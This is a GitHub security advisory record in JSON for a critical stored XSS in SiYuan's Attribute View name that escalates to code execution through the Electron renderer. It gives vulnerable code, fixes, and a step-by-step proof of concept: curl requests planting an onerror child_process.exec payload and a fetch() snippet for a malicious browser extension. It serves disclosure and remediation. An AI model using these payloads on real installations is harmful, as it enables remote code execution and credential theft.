{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20260421031503-96dfe0bea474"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44670"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-79",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T16:53:18Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe kernel stores Attribute View (AV / database) names without any HTML escape, then a render template uses raw `strings.ReplaceAll(tpl, \"${avName}\", nodeAvName)` to embed the name in HTML before pushing to all clients via WebSocket. Three independent client paths (`render.ts:120` \u2192 `outerHTML`, `Title.ts:401` \u2192 `innerHTML`, `transaction.ts:559` \u2192 `innerHTML`) consume the value without escaping. Because the main BrowserWindow runs `nodeIntegration:true, contextIsolation:false, webSecurity:false` (`app/electron/main.js:407-411`), HTML injection in the renderer becomes Node.js code execution.\n\nPayload is stored on disk under `data/storage/av/\u003cid\u003e.json`, replicates via every sync transport (S3 / WebDAV / cloud), survives `.sy.zip` export-import, and triggers for any role (Administrator / Editor / Reader / publish-service Visitor) opening a doc bound to the AV.\n\n## Details\n\n**Kernel write \u2014 no escape.** `kernel/model/attribute_view.go:3244-3255`:\n```go\nattrView.Name = strings.TrimSpace(operation.Data.(string))\nattrView.Name = strings.ReplaceAll(attrView.Name, \"\\n\", \" \")\nif 512 \u003c utf8.RuneCountInString(attrView.Name) {\n    attrView.Name = gulu.Str.SubStr(attrView.Name, 512)\n}\nerr = av.SaveAttributeView(attrView)         // \u2190 no html.EscapeString\n```\n\n**Kernel template \u2014 raw replace.** `kernel/model/attribute_view.go:3242,3283-3284`:\n```go\nconst attrAvNameTpl = `\u003cspan data-av-id=\"${avID}\" ... class=\"popover__block\"\u003e${avName}\u003c/span\u003e`\n// ...\ntpl := strings.ReplaceAll(attrAvNameTpl, \"${avID}\", nodeAvID)\ntpl = strings.ReplaceAll(tpl, \"${avName}\", nodeAvName)   // \u2190 raw\n```\n\n**Sink #1 \u2014 AV body header \u2192 outerHTML.** `app/src/protyle/render/av/render.ts:120` (returned from `genTabHeaderHTML`, written via outerHTML at `render.ts:596`):\n```ts\n\u003cdiv contenteditable=\"${editable}\" ... data-title=\"${data.name || \"\"}\" ...\u003e${data.name || \"\"}\u003c/div\u003e\n// ...\ne.firstElementChild.outerHTML = `\u003cdiv class=\"av__container\"\u003e${genTabHeaderHTML(...)}...\u003c/div\u003e`;\n```\nSame pattern in `kanban/render.ts:227` and `gallery/render.ts:142`.\n\n**Sink #2 \u2014 Doc title attribute strip \u2192 innerHTML.** `app/src/protyle/header/Title.ts:396-403`:\n```ts\nresponse.data.attrViews.forEach((item: { id: string, name: string }) =\u003e {\n    avTitle += `\u003cspan data-av-id=\"${item.id}\" ... class=\"popover__block\"\u003e${item.name}\u003c/span\u003e\u0026nbsp;`;\n});\nnodeAttrHTML += `\u003cdiv class=\"protyle-attr--av\"\u003e...${avTitle}\u003c/div\u003e`;\nthis.element.querySelector(\".protyle-attr\").innerHTML = nodeAttrHTML;\n```\n\n**Sink #3 \u2014 WebSocket `updateAttrs` push \u2192 innerHTML.** `app/src/protyle/wysiwyg/transaction.ts:549-562,659`:\n```ts\nconst escapeHTML = Lute.EscapeHTMLStr(data.new[key]);\nif (key === \"bookmark\") { bookmarkHTML = `...${escapeHTML}...`; }\nelse if (key === \"name\")     { nameHTML  = `...${escapeHTML}...`; }\nelse if (key === \"alias\")    { aliasHTML = `...${escapeHTML}...`; }\nelse if (key === \"memo\")     { memoHTML  = `...${escapeHTML}...`; }\nelse if (key === \"custom-avs\" \u0026\u0026 data.new[\"av-names\"]) {\n    avHTML = `\u003cdiv class=\"protyle-attr--av\"\u003e...${data.new[\"av-names\"]}\u003c/div\u003e`;\n    //                                          ^^^^^^^^^^^^^^^^^^^^^^^^ raw, unlike the four siblings above\n}\n// ...\nattrElement.innerHTML = nodeAttrHTML + Constants.ZWSP;\n```\nThe four sibling cases use `Lute.EscapeHTMLStr` \u2014 proving the team knows the right pattern; only `av-names` was missed.\n\n**Renderer posture \u2014 RCE multiplier.** `app/electron/main.js:407-411`:\n```js\nwebPreferences: {\n    nodeIntegration: true, webviewTag: true,\n    webSecurity: false, contextIsolation: false,\n}\n```\n\n**Reachability.** Route `/api/transactions setAttrViewName` requires `CheckAuth + CheckAdminRole + CheckReadonly`. On default install (`Conf.AccessAuthCode == \"\"`), `kernel/model/session.go:261-287` auto-grants Administrator to local-origin requests. The Origin check accepts `localhost` / loopback only **but `chrome-extension://` is explicitly allowlisted** (`session.go:277`), so any installed browser extension calls the API as admin. Local clients with no Origin header (CLI tools) also pass.\n\n## Suggested fix\n\n1. `kernel/model/attribute_view.go getAvNames` (line 3283-3284): replace the two `strings.ReplaceAll` calls with `template.HTMLEscapeString(nodeAvName)` for the `${avName}` substitution.\n2. `transaction.ts:559`: wrap with `Lute.EscapeHTMLStr` to match siblings at lines 549-557.\n3. `render.ts:120`: use `Lute.EscapeHTMLStr(data.name)` for both `data-title=` and the text content.\n4. `Title.ts:396`: escape `item.name` via `Lute.EscapeHTMLStr` and `item.id` via `escapeAttr`.\n5. *(Defense-in-depth)* Switch the main BrowserWindow to `contextIsolation: true` with a preload bridge \u2014 caps every future renderer XSS at \"DOM only,\" not RCE.\n\n---\n\n## Reproduction (copy-paste-ready)\n\nTested on Linux/macOS with SiYuan v3.6.5 (re-verified against `master` HEAD on 2026-05-03). Windows users: replace `python3` with `py` and use Git Bash / WSL for the shell snippets, or translate to PowerShell.\n\n### Prereqs\n\n1. **Install SiYuan v3.6.5** from https://github.com/siyuan-note/siyuan/releases. Launch it once so the workspace at `~/SiYuanWorkspace` is initialized. Do **not** set an Access Authorization Code (default).\n2. **Verify the kernel responds:**\n   ```sh\n   curl -s http://127.0.0.1:6806/api/system/version\n   ```\n   Expected output (single line of JSON):\n   ```json\n   {\"code\":0,\"msg\":\"\",\"data\":\"3.6.5\"}\n   ```\n3. **Pin shell variables** for the rest of the PoC:\n   ```sh\n   API=http://127.0.0.1:6806\n   WS=~/SiYuanWorkspace                                      # adjust if your workspace lives elsewhere\n\n   NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \\\n     -H \u0027Content-Type: application/json\u0027 -d \u0027{}\u0027 \\\n     | python3 -c \u0027import sys,json; print(json.load(sys.stdin)[\"data\"][\"notebooks\"][0][\"id\"])\u0027)\n   echo \"Using notebook: $NOTEBOOK_ID\"\n   ```\n   Expected: a 14-digit-timestamp + `-7chars` ID like `20240101120000-abc1234`. If you get an empty string, you have no notebooks \u2014 open SiYuan and click \"New notebook\" once.\n\n### Step A \u2014 Create the AV via the SiYuan UI (one-time, ~10 seconds)\n\nThe kernel\u0027s `setAttrViewName` requires the AV file to already exist on disk (`av.ParseAttributeView` returns an error otherwise). The simplest way to create one is via the editor:\n\n1. Open SiYuan. In any document, type `/database` and press Enter (or open the slash-command menu and pick **Database**).\n2. The editor inserts an Attribute View block. The kernel writes a JSON file to `\u003cworkspace\u003e/data/storage/av/\u003cav-id\u003e.json`.\n3. Capture the AV ID \u2014 the most recently written file in that directory:\n   ```sh\n   AV_FILE=$(ls -1t \"$WS/data/storage/av/\"*.json 2\u003e/dev/null | head -1)\n   AV_ID=$(basename \"$AV_FILE\" .json)\n   echo \"AV_ID: $AV_ID\"\n   ```\n   Expected: same 14-digit-timestamp + `-7chars` shape, e.g. `20260503160000-aaaaaaa`. If empty, the AV file wasn\u0027t created \u2014 repeat the UI step. (If your workspace already has many AV files, this picks the newest by mtime; alternatively right-click the inserted database block in SiYuan \u2192 Inspect Element to read its `data-av-id` attribute.)\n\n4. Capture the doc ID that hosts the AV: right-click the doc tab \u2192 **Copy ID**, or read it from the doc\u0027s `data-node-id` in DevTools (Ctrl+Shift+I). Set:\n   ```sh\n   DOC_ID=\u003croot-block-id-of-the-doc-containing-the-AV\u003e\n   ```\n\n### Step B \u2014 Plant the XSS payload as the AV name\n\nThe payload is written directly inside an unquoted heredoc so bash expands `$AV_ID` while preserving the `\\\"` JSON-escape sequences literally. Single-quote chars (`\u0027`) in the inner JS need no escaping inside a JSON string.\n\n```sh\ncurl -s -X POST $API/api/transactions \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data-binary @- \u003c\u003cEOF\n{\n  \"session\": \"x\",\n  \"app\": \"siyuan\",\n  \"transactions\": [{\n    \"doOperations\": [{\n      \"action\": \"setAttrViewName\",\n      \"id\": \"$AV_ID\",\n      \"data\": \"\u003cimg src=x onerror=\\\"require(\u0027child_process\u0027).exec(process.platform===\u0027win32\u0027?\u0027calc.exe\u0027:process.platform===\u0027darwin\u0027?\u0027open -a Calculator\u0027:\u0027xcalc\u0027)\\\"\u003e\"\n    }],\n    \"undoOperations\": []\n  }]\n}\nEOF\n```\nExpected response:\n```json\n{\"code\":0,\"msg\":\"\",\"data\":[{\"doOperations\":[...,\"action\":\"setAttrViewName\",...]}]}\n```\n\n### Step C \u2014 Verify the unescaped storage\n\n```sh\npython3 -c \"import json; print(json.load(open(\u0027$WS/data/storage/av/$AV_ID.json\u0027))[\u0027name\u0027])\"\n```\nExpected output (the raw HTML as stored \u2014 `print` does not escape `\"`, so they appear as literal quotes):\n```\n\u003cimg src=x onerror=\"require(\u0027child_process\u0027).exec(process.platform===\u0027win32\u0027?\u0027calc.exe\u0027:process.platform===\u0027darwin\u0027?\u0027open -a Calculator\u0027:\u0027xcalc\u0027)\"\u003e\n```\n\n### Step D \u2014 Trigger\n\nIn the SiYuan desktop client:\n\n1. Switch away from the doc that contains the AV (open another doc, or close the tab).\n2. Re-open the doc containing the AV (`$DOC_ID`).\n3. The AV body header is rendered via `genTabHeaderHTML` \u2192 `outerHTML` at `app/src/protyle/render/av/render.ts:596`. The browser parses the `\u003cimg\u003e` tag, fails to load `src=x`, and fires `onerror`.\n4. **Calculator (or `xcalc` / `open -a Calculator`) launches.**\n\nIf nothing happens, open DevTools (Ctrl+Shift+I / \u2318\u2325I) \u2192 Console; you should see the error from the failed `src=x` load. If the AV is in another doc you haven\u0027t opened recently, the cached render may be stale \u2014 close all tabs and re-open.\n\n### Step E \u2014 Browser-extension attack vector (the realistic remote path)\n\nA malicious or compromised installed browser extension\u0027s content/background script runs with `chrome-extension://\u003cid\u003e` Origin, allowlisted by `session.go:277`. The extension can run Steps B\u0027s curl-equivalent via `fetch()`:\n```js\n// Inside any extension content/background script\nfetch(\u0027http://127.0.0.1:6806/api/transactions\u0027, {\n  method: \u0027POST\u0027,\n  headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n  body: JSON.stringify({\n    session: \u0027x\u0027, app: \u0027siyuan\u0027,\n    transactions: [{ doOperations: [{\n      action: \u0027setAttrViewName\u0027,\n      id: \u0027\u003cav-id-discovered-via-prior-recon-fetches\u003e\u0027,\n      data: `\u003cimg src=x onerror=\"require(\u0027child_process\u0027).exec(\u0027xcalc\u0027)\"\u003e`\n    }] }]\n  })\n});\n```\nThe extension can also enumerate AV IDs by first calling `/api/notebook/lsNotebooks`, then walking notebook trees.\n\nA page from `https://attacker.com` is rejected \u2014 `IsLocalOrigin` only matches localhost/loopback. Realistic remote vectors are: **browser extensions**, **localhost-served webpages**, **shared `.sy.zip` imports**, **sync replication from a co-author\u0027s compromised device**.\n\n### Cleanup\n\n```sh\n# Remove the test doc (also removes the AV binding in the doc)\ncurl -s -X POST $API/api/filetree/removeDocByID \\\n  -H \u0027Content-Type: application/json\u0027 -d \"{\\\"id\\\":\\\"$DOC_ID\\\"}\"\n\n# Manually delete the AV file\nrm -f $WS/data/storage/av/$AV_ID.json\n\n# Restart SiYuan to clear in-memory state\n```\n\n## Impact\n\n- **RCE on the victim\u0027s desktop** with the user\u0027s privileges, no extra prompt after the trigger condition is met.\n- **Persistent** \u2014 payload survives restart, syncs across devices, rides in `.sy.zip` exports and Bazaar templates.\n- **Triggers for any role** opening a doc bound to the AV (incl. Reader-role publish viewers).\n- After RCE: full filesystem read (incl. `~/.ssh/`, `~/.aws/credentials`, workspace `conf/conf.json` \u2014 kernel API token + AccessAuthCode hash), persistence (`.bashrc` / Startup folder / LaunchAgent), cloud-account pivot.\n- **Attack vectors:** browser extensions (`chrome-extension://` Origin allowlisted); shared `.sy.zip` files; Bazaar templates; sync peers; co-authors on a shared workspace; publish-service planters infecting Reader viewers.",
  "id": "GHSA-2h64-c999-c9r6",
  "modified": "2026-05-08T16:53:18Z",
  "published": "2026-05-08T16:53:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-2h64-c999-c9r6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SiYuan Affected by Stored XSS via Attribute View Name to Electron Renderer RCE"
}